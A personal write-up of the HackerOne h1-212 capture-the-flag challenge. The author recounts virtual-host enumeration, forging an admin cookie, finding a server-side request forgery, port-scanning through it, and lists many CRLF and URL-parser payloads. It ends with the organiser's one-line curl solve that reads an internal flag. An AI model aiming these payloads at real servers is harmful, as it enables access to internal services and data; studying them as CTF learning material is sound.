Fail at CTF h1-212 - The Evil Job
Hackerone recently released a CTF created by Jobert Abma. Even if I didn’t complete the challenge, it was so exciting and I was so close from the solution that I wanted to share a writeup. Here is the tweet that tiggered the war:
Hackers, hack your way to NYC this December for h1-212! An engineer of http://acme.org launched a new server for a new admin panel. He is completely confident that the server can’t be hacked, so he hid a flag. Details: https://www.hackerone.com/blog/hack-your-way-to-nyc-this-december-for-h1-212 …. #TogetherWeHitHarder
And here is the full description:
An engineer of acme.org launched a new server for a new admin panel at http://104.236.20.43/. He is completely confident that the server can’t be hacked. He added a tripwire that notifies him when the flag file is read. He also noticed that the default Apache page is still there, but according to him that’s intentional and doesn’t hurt anyone. Your goal? Read the flag!
Below the different steps that led me to The Holy Flag.
Step 1, first things first: find an attack surface
As usual when I approach a new target, I immediately fired up my Burp Suite and started a directory scan with several tools like Cansina, Dirb and Dirsearch, each time with a different wordlist: SVNDigger, Robots Disallowed and Raft ones. Below the urls discovered:
http://104.236.20.43/index.html
http://104.236.20.43/icons/README
http://104.236.20.43/flag
At the end of the scan I tried to compare the discovered items with my local Apache using diff
to check if any modification occured but they were all identical.
While /index.html
is the default Apache index page, /icons/README
the default Apache icons list and of course it would be too easy if this /flag
file would be the good one…
At the same time I ran a Nmap scan on all TCP ports and top 500 UDP. This result to only two open ports: 22 and 80. I quickly tried a brute force against SSH with Patator but it failed.
I then decided to use Burp Suite to try another type of issue called Virtual Host Enumeration
.
I jumped on this because I recently read an article about that and I also sent a similar report to a private program a week before. Since the brilliant engineer works for acme.org
, I configured the attack for this domain.
And it found something interesting at admin.acme.org
:
Resources:
Accessing Localhost via Vhost | VIRTUAL HOST ENUMERATION
Jobert tool: virtual host scanner
vhost-brute: a PHP tool I wrote right after the CTF
Step 2, bargain with the server
I was supposed to have access to an hidden admin now so what’s next ? Let’s check the response of the server:
Looks like we have a cookie to play with! Obviously the first thing you would try is to change the value from admin=no
to admin=yes
…
Here we go, and the new response is:
The message is clear enough, the GET
method is not allowed, so switching to POST
would return:
According to the official documentation, aka Wikipedia xD
"406 Not Acceptable:
The requested resource is capable of generating only content not acceptable according to the Accept headers sent in the request."
Ok then… Altering the header Accept
will not change anything, however if I also change the Content-Type
in the request…
Server says that I am supposed to provide a body now, let’s say parameters, in JSON format. Since I have no idea about the name of the parameters, I supplied an empty string:
The server requires a domain
so let’s feed him with that! I won’t show you all the errors returned by the server (.com
required, 212
required etc…) but here is the final string I got:
Resources:
List of HTTP status codes
Step 3, start crying 1/2
At this point here is the request I had:
I firstly tried SQLi by injecting single quote, double quotes, encoded values, using SQLmap blablabla, nothing.
I then tried XSS by injecting single quote, double quotes, less-than symbol, encoded values again and still nothing.
I tried Local File Inclusion with Jhaddix worlists, nothing.
I also tried to inject extra parameters and extra headers as well, nothing.
I had a hard time to find the next step, I stayed stuck here 1 full day, trying figure out what kind of attack would work.
After a night break, I read a comment from another hacker that had scripted the 2 requests to be able to run them automatically in a row.
At this moment I understood that there was probably a link between the POST request and the result of read.php
.
To be honest I would not had realize that by myself.
I simply thought that the previous step was done and jumped to the next one without even thinking there could be a relation… errrrrr that was my first mistake.
So I did it too. I PHP curly scripted the requests, and from here I only used my script to find the flag, that was my second mistake, this is probably the reason why I didn’t get it.
So basically, altering the domain
provided in the JSON param in the body of the POST request would lead to a different response when calling read.php
with the corresponding id
returned by the server.
After playing a little bit with the value, injecting stupid characters and so on, I finally was able to retrieve datas and I quickly realized that I was in front of a SSRF issue.
The final response is the base64 encoded result of the HTTP request performed by the server. In this case: http://localhost:80/index.html
the default Apache page.
Important note: at each HTTP POST request performed by the server, id
is incremented by 1.
Sometimes it get back to 0 but I didn’t figure out why/when/how. It doesn’t seem to be shared between the hackers.
Step 3’ or 4 or 5, port scanning
I’m pretty sure that this step was supposed to be the last one but when I’m able to trigger a SSRF issue, I always perform a port scan first.
I simply moved my 2 curl requests into a for
loop that iterates from 1 to 65535, because why not ?
Ok, Jobert said that brute force is not the key but you know… I’m still a kid in my mind, I’m a geek, I’m a hacker so…
when someone tell me to NOT do something, then I feel really bad if I don’t give it a single try!
After few minutes and some false positive, my script displayed a different response corresponding to the port 1337
:
Confirmed with Burp:
Easy peasy.
I was pretty sure this was the key so I stopped my script at port 19187, enough spam.
Resources:
Hackerone article about SSRF
Server-side browsing considered harmful by Nicolas Grégoire
Step x, try harder, cry stronger 2/2
Ok I have the good parameter, a good domain, good Content-Type, good cookie, the l33t port, I can decode base64, so far so good!
Now I simply need to request a single file like /index.html
or /flag
, that would be great!
Hopefully this is the final step. Unfortunately this is where things gone wrong :/
I read many documentation and articles about SSRF but the most useful was the SSRF bible and the presentation from Orange Tsai. Simply awesome.
The idea: http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
Since &
, %
and #
are forbidden characters in this challenge, from this two papers I understood that I should combine the SSRF with a CRLF.
Dealing with \r
and \n
I quickly got a strange behavior:
Yes, yes, yes, it’s not Apache anymore, I am now dealing with a Nginx install. Does it matter ? Well I don’t know, maybe those servers don’t react to CRLF the same way…
Since the first part of the domain must contain 212
and the last part must end by .com
, I had configure a dns A
record of my own domain to point to 127.0.0.1
, that was useless but hey, how could I know!
Based on the “3 parts payload” mentionned by Orange Tsai, here are some stuff I tried:
poc212.10degres.net:1337/flag @www.google.com @h1-212.acme.com
poc212.10degres.net:1337/\r @www.google.com\r @h1-212.acme.com
poc212.10degres.net:1337\r\t@www.google.com\r\t@h1-212.acme.com
poc212.10degres.net:1337\s@www.google.com\s@h1-212.acme.com
poc212.10degres.net:1337\r\n@www.google.com\r\n@h1-212.acme.com
poc212.10degres.net:1337 @\r\nwww.google.com @\r\nh1-212.acme.com
poc212.10degres.net:1337 @/flag @h1-212.acme.com
poc212.10degres.net:1337 @www.google.com @/h1-212.acme.com
After some hours (…) I decided to use the SSRF against my own server, that way I could see what kind of requests the CTF server send.
Installing and configuring Nginx. Configuring a .com
domain I have and the vhost that will be accepted by Jobert’s code as well.
Same same but different:
poc212.10degres.net:1337/flag @www.google.com @h1-212.10degres.com
poc212.10degres.net:1337/\r @www.google.com\r @h1-212.10degres.com
poc212.10degres.net:1337\r\t@www.google.com\r\t@h1-212.10degres.com
poc212.10degres.net:1337\s@www.google.com\s@h1-212.10degres.com
poc212.10degres.net:1337\r\n@www.google.com\r\n@h1-212.10degres.com
poc212.10degres.net:1337 @\r\nwww.google.com @\r\nh1-212.10degres.com
poc212.10degres.net:1337 @/flag @h1-212.10degres.com
poc212.10degres.net:1337 @www.google.com @/h1-212.10degres.com
Checking the log, again and again and still got this f*****g error 400:
Better use Netcat to see the headers received:
Well not so much information here… Let’s try with tcdump then:
Still nothing… Let’s try something a bit more tricky. What about CRLF combined with header injection ? My new payload looked like:
poc212.10degres.net:1337/flag HTTP/1.0\rHost: admin.acme.org\rCookie: admin=yes\r @h1-212.10degres.com
Hey but what about encoding ? Yeah yeah yeah I tried that too, since %
is not allowed, I had to try something else:
\x0A
0x0A
\u000A
and the whole family, of course it didn’t work…
At the end of the day, the great @EdOverflow gave me a hint, kudos to him. He told me that I have gone too far with header injection, the solution was much simpler, I should focus on the first part of the payload. That said, after a full day on this shit (and some violent outrage against Jobert ^^), I gave up for a good night.
Next day, let’s recap what I learned the day before:
the first part and the third part of the three part payload (found in Orange Tsai doc) are injectable and trigger the SSRF to a domain I can control and depending of the characters I use for the CRLF (\t
\s
\r
\s
\b
💩
) the server acts different, which seems to be logic…
Ok! New payloads on the way:
0:1337/flag\r\nh1-212.10degres.com
No more luck, I continued to alter it with different characters, different encoding.
I also tried different protocols found in the SSRF bible: http, https, file, gopher, dict, mailto and so on…
With a good wordlist and a for
loop it was easy to test them all but unfortunately no matter what I tried, my script always returned empty data.
One more day wasted for nothing, I didn’t move forward :/ I won’t show you all the payloads I tried, thousands and thousands, the only thing you need to know is that they all failed! But the real question is: did they really failed?
Resources:
PayloadsAllTheThings resources on GitHub
SSRF bible
SSRF tips by xl7dev
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! by Orange Tsai
The answer, free your mind…
After 5 full days working on the challenge, I finally spent the 2 last days with my childrens, trying to get over the headhash. Since the challenge was ended, I decided to ask the answer to @EdOverflow, knowing that I would probably cry… and guess what? I did!
Remember that the id
returned by the POST request is incremented by 1 for each request made by the server ?
But what if I inject a CRLF and the server does 2 requests ? Then the id returned will be incremented by 2, because 1+1=2!
Holy cow!!!!
Running my script like a moron, I only focused my mind on the result of /read.php
and I didn’t even notice that the id jump the steps 2 by 2…
So I need to decrease the id by 1 to get the result of the previous request.
Which is supposed to be the content of the file I requested aka http://0:1337/flag
.
Et voilà ! Decoded value:
FLAG: CF,2dsV\/]fRAYQ.TDEp`w"M(%mU;p9+………
Conclusion
Pay attention to all details, stupid idiot!
Jobert’s answer in 1 single line:
D=104.236.20.43/;eval echo $(C=admin=yes;H='Host:http://admin.acme.org ';N=$(curl -H'Content-Type:application/json' -H$H -b$C -d'{"domain":"0:1337/flag\n212..com"}' "$D"|egrep -o '[0-9]+');curl -H$H -b$C "$D"read.php?id=`expr $N - 1`|jq .[])|base64 --decode
Winners:
@EdOverflow
@albinowax
@erbbysam
Congrats to these 3 people, congrats to all others that successfully got the flag and congrats to everyone that at least gave a try!